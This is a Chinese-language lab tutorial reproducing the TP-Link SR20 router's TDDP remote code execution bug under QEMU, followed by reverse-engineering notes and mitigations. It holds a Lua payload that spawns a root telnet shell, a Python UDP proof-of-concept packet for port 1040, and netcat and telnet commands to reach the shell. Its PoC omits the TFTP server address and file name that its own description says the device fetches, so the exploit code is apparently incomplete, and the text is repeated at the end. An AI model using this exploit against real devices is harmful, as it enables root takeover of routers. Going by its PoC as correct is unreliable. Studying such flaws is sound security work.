TP-Link SR20 RCE复现
字数 1855 2025-08-29 08:30:05

TP-Link SR20 RCE漏洞复现与分析教学文档

1. 漏洞概述

TP-Link SR20是一款支持Zigbee和Z-Wave物联网协议的触屏Wi-Fi路由器,可作为智能家居控制中枢。该设备存在一个严重的远程代码执行(RCE)漏洞,允许攻击者在设备上以root权限执行任意命令。

漏洞关键点:

  • 漏洞存在于TP-Link设备调试协议(TDDP)中
  • TDDP是TP-Link专利的调试协议,基于UDP运行在1040端口
  • SR20运行的是V1版本TDDP协议,无需认证
  • 攻击者只需向UDP 1040端口发送特定格式数据(第二字节为0x31)
  • 设备会连接攻击者的TFTP服务下载文件并使用LUA解释器以root权限执行

2. 环境准备

2.1 固件获取与提取

  1. 从官网下载TP-Link SR20固件(选择SR20(US)_V1_180518版本)

  2. 使用binwalk分析固件:

    binwalk SR20(US)_V1_180518.bin
    

    输出显示:

    • 两段LZMA压缩数据
    • TRX固件头部(1941504字节)
    • Squashfs文件系统(xz压缩,13,061,274字节,2642个inode)
  3. 提取文件系统:

    binwalk -e SR20(US)_V1_180518.bin
    

    提取的文件位于_SR20(US)_V1_180518.bin.extracted/squashfs-root

2.2 QEMU环境搭建

  1. 安装QEMU:

    sudo apt-get install qemu qemu-system qemu-user-static
    
  2. 下载Debian ARM系统文件:

    • 内核文件(vmlinuz)
    • 初始内存磁盘(initrd.gz)
    • 根文件系统(debian-armhf.qcow2)
  3. 创建TAP虚拟网卡:

    sudo ip tuntap add tap0 mode tap
    sudo ip addr add 10.10.10.1/24 dev tap0
    sudo ip link set tap0 up
    
  4. 创建启动脚本(start.sh):

    #!/bin/bash
    qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
    -initrd initrd.img-3.2.0-4-vexpress \
    -drive if=sd,file=debian-armhf.qcow2 \
    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
    
  5. 启动QEMU虚拟机,使用root/root登录

2.3 文件系统挂载

  1. 压缩固件文件系统:

    tar -czvf fs.tar.gz squashfs-root/
    
  2. 在QEMU虚拟机中:

    wget http://宿主机IP:8000/fs.tar.gz
    tar -xzvf fs.tar.gz
    
  3. 挂载文件系统:

    mount -o bind /dev squashfs-root/dev
    mount -t proc /proc squashfs-root/proc
    chroot squashfs-root /bin/sh
    

2.4 TFTP服务搭建

  1. 安装atftpd:

    sudo apt-get install atftpd
    
  2. 修改配置文件(/etc/default/atftpd):

    USE_INETD=false
    OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
    
  3. 创建TFTP目录:

    sudo mkdir /tftpboot
    sudo chown -R nobody /tftpboot
    
  4. 重启服务:

    sudo systemctl stop inetutils-inetd.service
    sudo systemctl restart atftpd
    

3. 漏洞复现

3.1 准备Payload

在/tftpboot目录下创建config_system.lua文件,内容如下:

function config_test()
    os.execute("telnetd -l /bin/sh -p 4242")
end

3.2 复现步骤

  1. 在QEMU虚拟机中启动tddp程序:

    /usr/bin/tddp
    
  2. 在宿主机上使用netcat监听4242端口:

    nc -lvnp 4242
    
  3. 执行POC脚本(或手动构造数据包):

    import socket
    
    target_ip = "10.10.10.2"  # QEMU虚拟机IP
    target_port = 1040
    
    # 构造恶意数据包
    payload = b"\x01\x31" + b"\x00"*14  # 第二字节为0x31
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(payload, (target_ip, target_port))
    
  4. 连接telnet获取shell:

    telnet 10.10.10.2 4242
    

4. 漏洞分析

4.1 TDDP协议格式

偏移 字段名 长度 描述
0x00 Ver 1字节 协议版本(1或2)
0x01 Type 1字节 报文类型
0x02 Code 1字节 请求/响应类型
0x03 ReplyInfo 1字节 返回信息
0x04 PktLength 2字节 数据长度
0x06 PktID 2字节 报文ID
0x08 SubType 1字节 子类型
0x09 Reserve 7字节 保留字段
0x10 Digest 16字节 MD5摘要

4.2 逆向分析

  1. main函数 (sub_971C):

    • 初始化tddp结构体
    • 创建socket并绑定地址
    • 设置flags和时间
    • 调用tddp_func
  2. tddp_func

    • 初始化接收/发送缓冲区
    • 使用recvfrom接收数据
    • 初始化LUA环境
    • 根据协议版本调用不同函数(此处调用tddp_version_1_func)
  3. tddp_version_1_func

    • 根据数据包中的Type字段选择处理函数
    • 漏洞点在0x31(CMD_FTEST_CONFIG)处理分支
  4. CMD_FTEST_CONFIG处理

    • 进入/tmp目录
    • 使用tftp获取lua文件
    • 加载lua库
    • 调用config_test函数
    • 使用lua_call执行lua脚本(无任何过滤)

5. 漏洞利用限制

  1. TDDP服务可能只能通过有线网络访问,Wi-Fi无法访问
  2. 需要设备开启1040/UDP端口
  3. 攻击者需要能够向目标发送UDP数据包

6. 参考链接

  1. TP-Link SR20固件下载页面
  2. Debian ARM镜像下载
  3. QEMU官方文档
  4. atftpd配置指南

7. 防护建议

  1. 禁用TDDP服务(如果不需要)
  2. 防火墙规则阻止1040/UDP端口
  3. 升级到修复漏洞的固件版本
  4. 使用网络分段隔离物联网设备
TP-Link SR20 RCE漏洞复现与分析教学文档 1. 漏洞概述 TP-Link SR20是一款支持Zigbee和Z-Wave物联网协议的触屏Wi-Fi路由器,可作为智能家居控制中枢。该设备存在一个严重的远程代码执行(RCE)漏洞,允许攻击者在设备上以root权限执行任意命令。 漏洞关键点: 漏洞存在于TP-Link设备调试协议(TDDP)中 TDDP是TP-Link专利的调试协议,基于UDP运行在1040端口 SR20运行的是V1版本TDDP协议,无需认证 攻击者只需向UDP 1040端口发送特定格式数据(第二字节为0x31) 设备会连接攻击者的TFTP服务下载文件并使用LUA解释器以root权限执行 2. 环境准备 2.1 固件获取与提取 从官网下载TP-Link SR20固件(选择SR20(US)_ V1_ 180518版本) 使用binwalk分析固件: 输出显示: 两段LZMA压缩数据 TRX固件头部(1941504字节) Squashfs文件系统(xz压缩,13,061,274字节,2642个inode) 提取文件系统: 提取的文件位于 _SR20(US)_V1_180518.bin.extracted/squashfs-root 2.2 QEMU环境搭建 安装QEMU: 下载Debian ARM系统文件: 内核文件(vmlinuz) 初始内存磁盘(initrd.gz) 根文件系统(debian-armhf.qcow2) 创建TAP虚拟网卡: 创建启动脚本(start.sh): 启动QEMU虚拟机,使用root/root登录 2.3 文件系统挂载 压缩固件文件系统: 在QEMU虚拟机中: 挂载文件系统: 2.4 TFTP服务搭建 安装atftpd: 修改配置文件(/etc/default/atftpd): 创建TFTP目录: 重启服务: 3. 漏洞复现 3.1 准备Payload 在/tftpboot目录下创建config_ system.lua文件,内容如下: 3.2 复现步骤 在QEMU虚拟机中启动tddp程序: 在宿主机上使用netcat监听4242端口: 执行POC脚本(或手动构造数据包): 连接telnet获取shell: 4. 漏洞分析 4.1 TDDP协议格式 | 偏移 | 字段名 | 长度 | 描述 | |------|--------|------|------| | 0x00 | Ver | 1字节 | 协议版本(1或2) | | 0x01 | Type | 1字节 | 报文类型 | | 0x02 | Code | 1字节 | 请求/响应类型 | | 0x03 | ReplyInfo | 1字节 | 返回信息 | | 0x04 | PktLength | 2字节 | 数据长度 | | 0x06 | PktID | 2字节 | 报文ID | | 0x08 | SubType | 1字节 | 子类型 | | 0x09 | Reserve | 7字节 | 保留字段 | | 0x10 | Digest | 16字节 | MD5摘要 | 4.2 逆向分析 main函数 (sub_ 971C): 初始化tddp结构体 创建socket并绑定地址 设置flags和时间 调用tddp_ func tddp_ func : 初始化接收/发送缓冲区 使用recvfrom接收数据 初始化LUA环境 根据协议版本调用不同函数(此处调用tddp_ version_ 1_ func) tddp_ version_ 1_ func : 根据数据包中的Type字段选择处理函数 漏洞点在0x31(CMD_ FTEST_ CONFIG)处理分支 CMD_ FTEST_ CONFIG处理 : 进入/tmp目录 使用tftp获取lua文件 加载lua库 调用config_ test函数 使用lua_ call执行lua脚本(无任何过滤) 5. 漏洞利用限制 TDDP服务可能只能通过有线网络访问,Wi-Fi无法访问 需要设备开启1040/UDP端口 攻击者需要能够向目标发送UDP数据包 6. 参考链接 TP-Link SR20固件下载页面 Debian ARM镜像下载 QEMU官方文档 atftpd配置指南 7. 防护建议 禁用TDDP服务(如果不需要) 防火墙规则阻止1040/UDP端口 升级到修复漏洞的固件版本 使用网络分段隔离物联网设备